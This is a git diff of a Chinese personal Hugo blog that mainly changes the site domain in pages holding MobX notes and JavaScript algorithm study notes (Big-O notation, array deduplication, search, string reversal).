+  title: &quot;hello world&quot;
+})
+autorun(() =&gt; {
+    console.log(xyz.title)
+})
+xyz.title = &quot;hallo mobx&quot;
+</code></pre><p>当被观察数据被修改时，autorun()就会被触发</p><p>reaction监听</p><pre><code>reaction(() =&gt; store.count,
+    (a, b) =&gt; {
+        // 当store.count修改就会被调用
+        // 第一个值是当前值，第二个值为修改后的值
+        console.log(a - b)
+    }
+)
+</code></pre><p>when监听</p><pre><code>when(() =&gt; store.count &gt; 666, () =&gt; {
+    console.log(store.count)
+})
+(async function() {
+    // when还会返回一个promise
+    await when(() =&gt; store.count &gt; 666)
+    console.log('store.count &gt; 666')
+})()
+</code></pre><p>Mobx和Redux的比较：Redux通过限制数据的修改，Store中的数据是不可修改，只能通过action来修改，减少冗余。而Mobx就是通过自动更新来确保数据一致</p><p>mobx鼓励使用多个store仓库，而Redux鼓励一个应用使用一个Redux仓库</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/mobx/>Mobx</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/79/><span class=title>« Prev</span><br><span>算法学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/77/><span class=title>Next »</span><br><span>简单认识HTTP协议</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/79/index.html b/posts/79/index.html
index 89b576e0..849ccec7 100644
--- a/posts/79/index.html
+++ b/posts/79/index.html
@@ -13,8 +13,8 @@
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
if(nums == null || nums.length == 0){
return 0
}
let b = 0
for(let a=0;a<nums.length;a++){
if(nums[b]!=nums[a]){
nums[++b] = nums[a]
}
}
return ++b
}
b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/79/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="算法学习笔记"><meta property="og:description" content="虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a<nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/79/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="算法学习笔记"><meta property="og:description" content="虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
 算法不会被程序语言所限制，也不会一个实现只有一个算法
 常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）
 算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)
@@ -29,7 +29,7 @@
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
if(nums == null || nums.length == 0){
return 0
}
let b = 0
for(let a=0;a<nums.length;a++){
if(nums[b]!=nums[a]){
nums[++b] = nums[a]
}
}
return ++b
}
b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/79/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-09T20:36:00+00:00"><meta property="article:modified_time" content="2021-08-09T20:36:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="算法学习笔记"><meta name=twitter:description content="虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a<nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/79/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-09T20:36:00+00:00"><meta property="article:modified_time" content="2021-08-09T20:36:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="算法学习笔记"><meta name=twitter:description content="虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
 算法不会被程序语言所限制，也不会一个实现只有一个算法
 常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）
 算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)
@@ -44,104 +44,104 @@
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
if(nums == null || nums.length == 0){
return 0
}
let b = 0
for(let a=0;a<nums.length;a++){
if(nums[b]!=nums[a]){
nums[++b] = nums[a]
}
}
return ++b
}
b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"算法学习笔记","item":"https://xiaochenabc123.github.io/posts/79/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"算法学习笔记","name":"算法学习笔记","description":"虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写\n算法不会被程序语言所限制，也不会一个实现只有一个算法\n常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）\n算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)\n大O表示法是专门用来表示算法速度有多快的，不同算法所耗时间的时间增速度不同\n一个算法执行的时间和解决问题的规模大小相关\n假设一个列表有n个元素，遍历全部元素，要执行n次，大O表示法为O(n)\n大O表示法不是表示消耗的时间，而是通过操作元素的次数决定的，一个优秀的算法操作元素次数肯定很少\n时间复杂度：\nO(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Complexity: 对数复杂度 O(n): Linear Complexity: 线性时间复杂度 O(n^2): N square Complexity 平⽅方 O(n^3): N square Complexity ⽴立⽅方 O(2^n): Exponential Growth 指数 O(n!): Factorial 阶乘\n算法的特点：有穷性（必须要在一定的时间内完成，不能无限循环），确定性（每一条指令都有明确的目的，不产生二义性），可行性（可以通过基础运算来实现），输入输出（要有0个或者多个输入，要有1个或者多个输出）\n删除有序数组中的重复项\n保证有序数组中的元素是不重复的，也就是说不存在重复的元素\n有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的\n例如：\nlet arr = function(nums) {\rif(nums == null || nums.length == 0){\rreturn 0\r}\rlet b = 0\rfor(let a=0;a\u0026lt;nums.length;a++){\rif(nums[b]!=nums[a]){\rnums[++b] = nums[a]\r}\r}\rreturn ++b\r}\rb作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上","keywords":["算法"],"articleBody":"虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写\n算法不会被程序语言所限制，也不会一个实现只有一个算法\n常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）\n算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)\n大O表示法是专门用来表示算法速度有多快的，不同算法所耗时间的时间增速度不同\n一个算法执行的时间和解决问题的规模大小相关\n假设一个列表有n个元素，遍历全部元素，要执行n次，大O表示法为O(n)\n大O表示法不是表示消耗的时间，而是通过操作元素的次数决定的，一个优秀的算法操作元素次数肯定很少\n时间复杂度：\nO(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Complexity: 对数复杂度 O(n): Linear Complexity: 线性时间复杂度 O(n^2): N square Complexity 平⽅方 O(n^3): N square Complexity ⽴立⽅方 O(2^n): Exponential Growth 指数 O(n!): Factorial 阶乘\n算法的特点：有穷性（必须要在一定的时间内完成，不能无限循环），确定性（每一条指令都有明确的目的，不产生二义性），可行性（可以通过基础运算来实现），输入输出（要有0个或者多个输入，要有1个或者多个输出）\n删除有序数组中的重复项\n保证有序数组中的元素是不重复的，也就是说不存在重复的元素\n有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的\n例如：\nlet arr = function(nums) {\rif(nums == null || nums.length == 0){\rreturn 0\r}\rlet b = 0\rfor(let a=0;a","wordCount":"402","inLanguage":"en","datePublished":"2021-08-09T20:36:00Z","dateModified":"2021-08-09T20:36:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/79/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>算法学习笔记</h1><div class=post-meta><span title='2021-08-09 20:36:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%97%e6%b3%95%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写</p><p>算法不会被程序语言所限制，也不会一个实现只有一个算法</p><p>常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）</p><p>算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)</p><p>大O表示法是专门用来表示算法速度有多快的，不同算法所耗时间的时间增速度不同</p><p>一个算法执行的时间和解决问题的规模大小相关</p><p>假设一个列表有n个元素，遍历全部元素，要执行n次，大O表示法为O(n)</p><p>大O表示法不是表示消耗的时间，而是通过操作元素的次数决定的，一个优秀的算法操作元素次数肯定很少</p><p>时间复杂度：</p><p>O(1): Constant Complexity: Constant 常数复杂度
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a<nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"算法学习笔记","item":"https://chenjunlinabc.github.io/posts/79/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"算法学习笔记","name":"算法学习笔记","description":"虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写\n算法不会被程序语言所限制，也不会一个实现只有一个算法\n常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）\n算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)\n大O表示法是专门用来表示算法速度有多快的，不同算法所耗时间的时间增速度不同\n一个算法执行的时间和解决问题的规模大小相关\n假设一个列表有n个元素，遍历全部元素，要执行n次，大O表示法为O(n)\n大O表示法不是表示消耗的时间，而是通过操作元素的次数决定的，一个优秀的算法操作元素次数肯定很少\n时间复杂度：\nO(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Complexity: 对数复杂度 O(n): Linear Complexity: 线性时间复杂度 O(n^2): N square Complexity 平⽅方 O(n^3): N square Complexity ⽴立⽅方 O(2^n): Exponential Growth 指数 O(n!): Factorial 阶乘\n算法的特点：有穷性（必须要在一定的时间内完成，不能无限循环），确定性（每一条指令都有明确的目的，不产生二义性），可行性（可以通过基础运算来实现），输入输出（要有0个或者多个输入，要有1个或者多个输出）\n删除有序数组中的重复项\n保证有序数组中的元素是不重复的，也就是说不存在重复的元素\n有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的\n例如：\nlet arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a\u0026lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上","keywords":["算法"],"articleBody":"虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写\n算法不会被程序语言所限制，也不会一个实现只有一个算法\n常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）\n算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)\n大O表示法是专门用来表示算法速度有多快的，不同算法所耗时间的时间增速度不同\n一个算法执行的时间和解决问题的规模大小相关\n假设一个列表有n个元素，遍历全部元素，要执行n次，大O表示法为O(n)\n大O表示法不是表示消耗的时间，而是通过操作元素的次数决定的，一个优秀的算法操作元素次数肯定很少\n时间复杂度：\nO(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Complexity: 对数复杂度 O(n): Linear Complexity: 线性时间复杂度 O(n^2): N square Complexity 平⽅方 O(n^3): N square Complexity ⽴立⽅方 O(2^n): Exponential Growth 指数 O(n!): Factorial 阶乘\n算法的特点：有穷性（必须要在一定的时间内完成，不能无限循环），确定性（每一条指令都有明确的目的，不产生二义性），可行性（可以通过基础运算来实现），输入输出（要有0个或者多个输入，要有1个或者多个输出）\n删除有序数组中的重复项\n保证有序数组中的元素是不重复的，也就是说不存在重复的元素\n有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的\n例如：\nlet arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a","wordCount":"402","inLanguage":"en","datePublished":"2021-08-09T20:36:00Z","dateModified":"2021-08-09T20:36:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/79/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>算法学习笔记</h1><div class=post-meta><span title='2021-08-09 20:36:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%97%e6%b3%95%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写</p><p>算法不会被程序语言所限制，也不会一个实现只有一个算法</p><p>常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）</p><p>算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)</p><p>大O表示法是专门用来表示算法速度有多快的，不同算法所耗时间的时间增速度不同</p><p>一个算法执行的时间和解决问题的规模大小相关</p><p>假设一个列表有n个元素，遍历全部元素，要执行n次，大O表示法为O(n)</p><p>大O表示法不是表示消耗的时间，而是通过操作元素的次数决定的，一个优秀的算法操作元素次数肯定很少</p><p>时间复杂度：</p><p>O(1): Constant Complexity: Constant 常数复杂度
 O(log n): Logarithmic Complexity: 对数复杂度
 O(n): Linear Complexity: 线性时间复杂度
 O(n^2): N square Complexity 平⽅方
 O(n^3): N square Complexity ⽴立⽅方
 O(2^n): Exponential Growth 指数
-O(n!): Factorial 阶乘</p><p>算法的特点：有穷性（必须要在一定的时间内完成，不能无限循环），确定性（每一条指令都有明确的目的，不产生二义性），可行性（可以通过基础运算来实现），输入输出（要有0个或者多个输入，要有1个或者多个输出）</p><p>删除有序数组中的重复项</p><p>保证有序数组中的元素是不重复的，也就是说不存在重复的元素</p><p>有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的</p><p>例如：</p><pre><code>let arr = function(nums) {
-    if(nums == null || nums.length == 0){
-        return 0
-    }
-    let b = 0
-    for(let a=0;a&lt;nums.length;a++){
-        if(nums[b]!=nums[a]){
-            nums[++b] = nums[a]
-        }
-    }
-    return ++b
-}
-</code></pre><p>b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上</p><hr><p>搜索数组的目标值，返回其索引值</p><p>通过有序整型数组和一个目标值，寻找目标值，并且返回其索引值，当目标值不存在时，返回-1</p><pre><code>let search = function(nums, target) {
-    for(let a=0;a&lt;nums.length;a++){
-        if(nums[a] == target){
-            return a
-        }
-    }
-    return -1
-}
-</code></pre><hr><p>字符串反转</p><p>将数组nums里面的字符串，顺序倒过来，在不创建新数组的位置前提下</p><pre><code>let reverseString = function(nums) {
-    var a=0,b=nums.length-1
-    while(a&lt;b){
-        let temp =nums[a]
-        nums[a] = nums[b]
-        nums[b] = temp
-        a++
-        b--
-    }
-}
